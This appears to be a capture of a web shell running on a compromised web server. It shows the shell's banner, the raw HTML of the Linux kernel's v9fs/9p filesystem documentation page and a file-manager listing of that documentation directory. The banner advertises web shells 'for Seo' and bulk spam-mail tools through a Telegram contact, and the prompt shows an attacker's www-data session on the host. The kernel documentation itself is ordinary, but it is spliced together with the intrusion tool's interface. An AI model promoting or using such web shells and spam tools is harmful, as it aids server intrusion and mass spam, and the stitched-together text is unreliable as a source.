__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.247: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>v9fs: Plan 9 Resource Sharing for Linux &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Acorn Disc Filing System - ADFS" href="adfs.html" />
    <link rel="prev" title="Network Filesystem Services Library" href="netfs_library.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/9p.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="v9fs-plan-9-resource-sharing-for-linux">
<h1>v9fs: Plan 9 Resource Sharing for Linux<a class="headerlink" href="#v9fs-plan-9-resource-sharing-for-linux" title="Link to this heading">¶</a></h1>
<section id="about">
<h2>About<a class="headerlink" href="#about" title="Link to this heading">¶</a></h2>
<p>v9fs is a Unix implementation of the Plan 9 9p remote filesystem protocol.</p>
<p>This software was originally developed by Ron Minnich &lt;<a class="reference external" href="mailto:rminnich&#37;&#52;&#48;sandia&#46;gov">rminnich<span>&#64;</span>sandia<span>&#46;</span>gov</a>&gt;
and Maya Gokhale.  Additional development by Greg Watson
&lt;<a class="reference external" href="mailto:gwatson&#37;&#52;&#48;lanl&#46;gov">gwatson<span>&#64;</span>lanl<span>&#46;</span>gov</a>&gt; and most recently Eric Van Hensbergen
&lt;<a class="reference external" href="mailto:ericvh&#37;&#52;&#48;gmail&#46;com">ericvh<span>&#64;</span>gmail<span>&#46;</span>com</a>&gt;, Latchesar Ionkov &lt;<a class="reference external" href="mailto:lucho&#37;&#52;&#48;ionkov&#46;net">lucho<span>&#64;</span>ionkov<span>&#46;</span>net</a>&gt; and Russ Cox
&lt;<a class="reference external" href="mailto:rsc&#37;&#52;&#48;swtch&#46;com">rsc<span>&#64;</span>swtch<span>&#46;</span>com</a>&gt;.</p>
<p>The best detailed explanation of the Linux implementation and applications of
the 9p client is available in the form of a USENIX paper:</p>
<blockquote>
<div><p><a class="reference external" href="https://www.usenix.org/events/usenix05/tech/freenix/hensbergen.html">https://www.usenix.org/events/usenix05/tech/freenix/hensbergen.html</a></p>
</div></blockquote>
<p>Other applications are described in the following papers:</p>
<blockquote>
<div><ul class="simple">
<li><p>XCPU &amp; Clustering
<a class="reference external" href="http://xcpu.org/papers/xcpu-talk.pdf">http://xcpu.org/papers/xcpu-talk.pdf</a></p></li>
<li><p>KVMFS: control file system for KVM
<a class="reference external" href="http://xcpu.org/papers/kvmfs.pdf">http://xcpu.org/papers/kvmfs.pdf</a></p></li>
<li><p>CellFS: A New Programming Model for the Cell BE
<a class="reference external" href="http://xcpu.org/papers/cellfs-talk.pdf">http://xcpu.org/papers/cellfs-talk.pdf</a></p></li>
<li><p>PROSE I/O: Using 9p to enable Application Partitions
<a class="reference external" href="http://plan9.escet.urjc.es/iwp9/cready/PROSE_iwp9_2006.pdf">http://plan9.escet.urjc.es/iwp9/cready/PROSE_iwp9_2006.pdf</a></p></li>
<li><p>VirtFS: A Virtualization Aware File System pass-through
<a class="reference external" href="https://kernel.org/doc/ols/2010/ols2010-pages-109-120.pdf">https://kernel.org/doc/ols/2010/ols2010-pages-109-120.pdf</a></p></li>
</ul>
</div></blockquote>
</section>
<section id="usage">
<h2>Usage<a class="headerlink" href="#usage" title="Link to this heading">¶</a></h2>
<p>For remote file server:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t 9p 10.10.1.2 /mnt/9
</pre></div>
</div>
<p>For Plan 9 From User Space applications (<a class="reference external" href="https://9fans.github.io/plan9port/">https://9fans.github.io/plan9port/</a>):</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t 9p `namespace`/acme /mnt/9 -o trans=unix,uname=$USER
</pre></div>
</div>
<p>For server running on QEMU host with virtio transport:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t 9p -o trans=virtio &lt;mount_tag&gt; /mnt/9
</pre></div>
</div>
<p>where mount_tag is the tag generated by the server to each of the exported
mount points. Each 9P export is seen by the client as a virtio device with an
associated “mount_tag” property. Available mount tags can be
seen by reading /sys/bus/virtio/drivers/9pnet_virtio/virtio&lt;n&gt;/mount_tag files.</p>
</section>
<section id="usbg-usage">
<h2>USBG Usage<a class="headerlink" href="#usbg-usage" title="Link to this heading">¶</a></h2>
<p>To mount a 9p FS on a USB Host accessible via the gadget at runtime:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t 9p -o trans=usbg,aname=/path/to/fs &lt;device&gt; /mnt/9
</pre></div>
</div>
<p>To mount a 9p FS on a USB Host accessible via the gadget as root filesystem:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>root=&lt;device&gt; rootfstype=9p rootflags=trans=usbg,cache=loose,uname=root,access=0,dfltuid=0,dfltgid=0,aname=/path/to/rootfs
</pre></div>
</div>
<p>where &lt;device&gt; is the tag associated by the usb gadget transport.
It is defined by the configfs instance name.</p>
</section>
<section id="usbg-example">
<h2>USBG Example<a class="headerlink" href="#usbg-example" title="Link to this heading">¶</a></h2>
<p>The USB host exports a filesystem, while the gadget on the USB device
side makes it mountable.</p>
<p>Diod (9pfs server) and the forwarder are on the development host, where
the root filesystem is actually stored. The gadget is initialized during
boot (or later) on the embedded board. Then the forwarder will find it
on the USB bus and start forwarding requests.</p>
<p>In this case the 9p requests come from the device and are handled by the
host. The reason is that USB device ports are normally not available on
PCs, so a connection in the other direction would not work.</p>
<p>When using the usbg transport, for now there is no native usb host
service capable to handle the requests from the gadget driver. For
this we have to use the extra python tool p9_fwd.py from tools/usb.</p>
<p>Just start the 9pfs capable network server like diod/nfs-ganesha e.g.:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ diod -f -n -d 0 -S -l 0.0.0.0:9999 -e $PWD
</pre></div>
</div>
<p>Optionally scan your bus if there are more then one usbg gadgets to find their path:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ python $kernel_dir/tools/usb/p9_fwd.py list

Bus | Addr | Manufacturer     | Product          | ID        | Path
--- | ---- | ---------------- | ---------------- | --------- | ----
  2 |   67 | unknown          | unknown          | 1d6b:0109 | 2-1.1.2
  2 |   68 | unknown          | unknown          | 1d6b:0109 | 2-1.1.3
</pre></div>
</div>
<p>Then start the python transport:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ python $kernel_dir/tools/usb/p9_fwd.py --path 2-1.1.2 connect -p 9999
</pre></div>
</div>
<p>After that the gadget driver can be used as described above.</p>
<p>One use-case is to use it as an alternative to NFS root booting during
the development of embedded Linux devices.</p>
</section>
<section id="options">
<h2>Options<a class="headerlink" href="#options" title="Link to this heading">¶</a></h2>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>trans=name</p></td>
<td><p>select an alternative transport.  Valid options are
currently:</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>unix</p></td>
<td><p>specifying a named pipe mount point</p></td>
</tr>
<tr class="row-even"><td><p>tcp</p></td>
<td><p>specifying a normal TCP/IP connection</p></td>
</tr>
<tr class="row-odd"><td><p>fd</p></td>
<td><p>used passed file descriptors for connection
(see rfdno and wfdno)</p></td>
</tr>
<tr class="row-even"><td><p>virtio</p></td>
<td><p>connect to the next virtio channel available
(from QEMU with trans_virtio module)</p></td>
</tr>
<tr class="row-odd"><td><p>rdma</p></td>
<td><p>connect to a specified RDMA channel</p></td>
</tr>
<tr class="row-even"><td><p>usbg</p></td>
<td><p>connect to a specified usb gadget channel</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</td>
</tr>
<tr class="row-even"><td><p>uname=name</p></td>
<td><p>user name to attempt mount as on the remote server.  The
server may override or ignore this value.  Certain user
names may require authentication.</p></td>
</tr>
<tr class="row-odd"><td><p>aname=name</p></td>
<td><p>aname specifies the file tree to access when the server is
offering several exported file systems.</p></td>
</tr>
<tr class="row-even"><td><p>cache=mode</p></td>
<td><p>specifies a caching policy.  By default, no caches are used.
The mode can be specified as a bitmask or by using one of the
preexisting common ‘shortcuts’.
The bitmask is described below: (unspecified bits are reserved)</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>0b00000000</p></td>
<td><p>all caches disabled, mmap disabled</p></td>
</tr>
<tr class="row-even"><td><p>0b00000001</p></td>
<td><p>file caches enabled</p></td>
</tr>
<tr class="row-odd"><td><p>0b00000010</p></td>
<td><p>meta-data caches enabled</p></td>
</tr>
<tr class="row-even"><td><p>0b00000100</p></td>
<td><p>writeback behavior (as opposed to writethrough)</p></td>
</tr>
<tr class="row-odd"><td><p>0b00001000</p></td>
<td><p>loose caches (no explicit consistency with server)</p></td>
</tr>
<tr class="row-even"><td><p>0b10000000</p></td>
<td><p>fscache enabled for persistent caching</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
<p>The current shortcuts and their associated bitmask are:</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>none</p></td>
<td><p>0b00000000 (no caching)</p></td>
</tr>
<tr class="row-even"><td><p>readahead</p></td>
<td><p>0b00000001 (only read-ahead file caching)</p></td>
</tr>
<tr class="row-odd"><td><p>mmap</p></td>
<td><p>0b00000101 (read-ahead + writeback file cache)</p></td>
</tr>
<tr class="row-even"><td><p>loose</p></td>
<td><p>0b00001111 (non-coherent file and meta-data caches)</p></td>
</tr>
<tr class="row-odd"><td><p>fscache</p></td>
<td><p>0b10001111 (persistent loose cache)</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
<p>NOTE: only these shortcuts are tested modes of operation at the
moment, so using other combinations of bit-patterns is not
known to work.  Work on better cache support is in progress.</p>
<p>IMPORTANT: loose caches (and by extension at the moment fscache)
do not necessarily validate cached values on the server.  In other
words changes on the server are not guaranteed to be reflected
on the client system.  Only use this mode of operation if you
have an exclusive mount and the server will not modify the
filesystem underneath you.</p>
</td>
</tr>
<tr class="row-odd"><td><p>debug=n</p></td>
<td><p>specifies debug level.  The debug level is a bitmask.</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>0x01</p></td>
<td><p>display verbose error messages</p></td>
</tr>
<tr class="row-even"><td><p>0x02</p></td>
<td><p>developer debug (DEBUG_CURRENT)</p></td>
</tr>
<tr class="row-odd"><td><p>0x04</p></td>
<td><p>display 9p trace</p></td>
</tr>
<tr class="row-even"><td><p>0x08</p></td>
<td><p>display VFS trace</p></td>
</tr>
<tr class="row-odd"><td><p>0x10</p></td>
<td><p>display Marshalling debug</p></td>
</tr>
<tr class="row-even"><td><p>0x20</p></td>
<td><p>display RPC debug</p></td>
</tr>
<tr class="row-odd"><td><p>0x40</p></td>
<td><p>display transport debug</p></td>
</tr>
<tr class="row-even"><td><p>0x80</p></td>
<td><p>display allocation debug</p></td>
</tr>
<tr class="row-odd"><td><p>0x100</p></td>
<td><p>display protocol message debug</p></td>
</tr>
<tr class="row-even"><td><p>0x200</p></td>
<td><p>display Fid debug</p></td>
</tr>
<tr class="row-odd"><td><p>0x400</p></td>
<td><p>display packet debug</p></td>
</tr>
<tr class="row-even"><td><p>0x800</p></td>
<td><p>display fscache tracing debug</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</td>
</tr>
<tr class="row-even"><td><p>rfdno=n</p></td>
<td><p>the file descriptor for reading with trans=fd</p></td>
</tr>
<tr class="row-odd"><td><p>wfdno=n</p></td>
<td><p>the file descriptor for writing with trans=fd</p></td>
</tr>
<tr class="row-even"><td><p>msize=n</p></td>
<td><p>the number of bytes to use for 9p packet payload</p></td>
</tr>
<tr class="row-odd"><td><p>port=n</p></td>
<td><p>port to connect to on the remote server</p></td>
</tr>
<tr class="row-even"><td><p>noextend</p></td>
<td><p>force legacy mode (no 9p2000.u or 9p2000.L semantics)</p></td>
</tr>
<tr class="row-odd"><td><p>version=name</p></td>
<td><p>Select 9P protocol version. Valid options are:</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>9p2000</p></td>
<td><p>Legacy mode (same as noextend)</p></td>
</tr>
<tr class="row-even"><td><p>9p2000.u</p></td>
<td><p>Use 9P2000.u protocol</p></td>
</tr>
<tr class="row-odd"><td><p>9p2000.L</p></td>
<td><p>Use 9P2000.L protocol</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</td>
</tr>
<tr class="row-even"><td><p>dfltuid</p></td>
<td><p>attempt to mount as a particular uid</p></td>
</tr>
<tr class="row-odd"><td><p>dfltgid</p></td>
<td><p>attempt to mount with a particular gid</p></td>
</tr>
<tr class="row-even"><td><p>afid</p></td>
<td><p>security channel - used by Plan 9 authentication protocols</p></td>
</tr>
<tr class="row-odd"><td><p>nodevmap</p></td>
<td><p>do not map special files - represent them as normal files.
This can be used to share devices/named pipes/sockets between
hosts.  This functionality will be expanded in later versions.</p></td>
</tr>
<tr class="row-even"><td><p>directio</p></td>
<td><p>bypass page cache on all read/write operations</p></td>
</tr>
<tr class="row-odd"><td><p>ignoreqv</p></td>
<td><p>ignore qid.version==0 as a marker to ignore cache</p></td>
</tr>
<tr class="row-even"><td><p>noxattr</p></td>
<td><p>do not offer xattr functions on this mount.</p></td>
</tr>
<tr class="row-odd"><td><p>access</p></td>
<td><dl class="simple">
<dt>there are four access modes.</dt><dd><dl class="simple">
<dt>user</dt><dd><p>if a user tries to access a file on v9fs
filesystem for the first time, v9fs sends an
attach command (Tattach) for that user.
This is the default mode.</p>
</dd>
<dt>&lt;uid&gt;</dt><dd><p>allows only user with uid=&lt;uid&gt; to access
the files on the mounted filesystem</p>
</dd>
<dt>any</dt><dd><p>v9fs does single attach and performs all
operations as one user</p>
</dd>
<dt>clien</dt><dd><p>ACL based access check on the 9p client
side for access validation</p>
</dd>
</dl>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>cachetag</p></td>
<td><p>cache tag to use the specified persistent cache.
cache tags for existing cache sessions can be listed at
/sys/fs/9p/caches. (applies only to cache=fscache)</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</section>
<section id="behavior">
<h2>Behavior<a class="headerlink" href="#behavior" title="Link to this heading">¶</a></h2>
<p>This section aims at describing 9p ‘quirks’ that can be different
from a local filesystem behaviors.</p>
<blockquote>
<div><ul class="simple">
<li><p>Setting O_NONBLOCK on a file will make client reads return as early
as the server returns some data instead of trying to fill the read
buffer with the requested amount of bytes or end of file is reached.</p></li>
</ul>
</div></blockquote>
</section>
<section id="resources">
<h2>Resources<a class="headerlink" href="#resources" title="Link to this heading">¶</a></h2>
<p>Protocol specifications are maintained on github:
<a class="reference external" href="http://ericvh.github.com/9p-rfc/">http://ericvh.github.com/9p-rfc/</a></p>
<p>9p client and server implementations are listed on
<a class="reference external" href="http://9p.cat-v.org/implementations">http://9p.cat-v.org/implementations</a></p>
<p>A 9p2000.L server is being developed by LLNL and can be found
at <a class="reference external" href="http://code.google.com/p/diod/">http://code.google.com/p/diod/</a></p>
<p>There are user and developer mailing lists available through the v9fs project
on sourceforge (<a class="reference external" href="http://sourceforge.net/projects/v9fs">http://sourceforge.net/projects/v9fs</a>).</p>
<p>News and other information is maintained on a Wiki.
(<a class="reference external" href="http://sf.net/apps/mediawiki/v9fs/index.php">http://sf.net/apps/mediawiki/v9fs/index.php</a>).</p>
<p>Bug reports are best issued via the mailing list.</p>
<p>For more information on the Plan 9 Operating System check out
<a class="reference external" href="http://plan9.bell-labs.com/plan9">http://plan9.bell-labs.com/plan9</a></p>
<p>For information on Plan 9 from User Space (Plan 9 applications and libraries
ported to Linux/BSD/OSX/etc) check out <a class="reference external" href="https://9fans.github.io/plan9port/">https://9fans.github.io/plan9port/</a></p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/9p.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager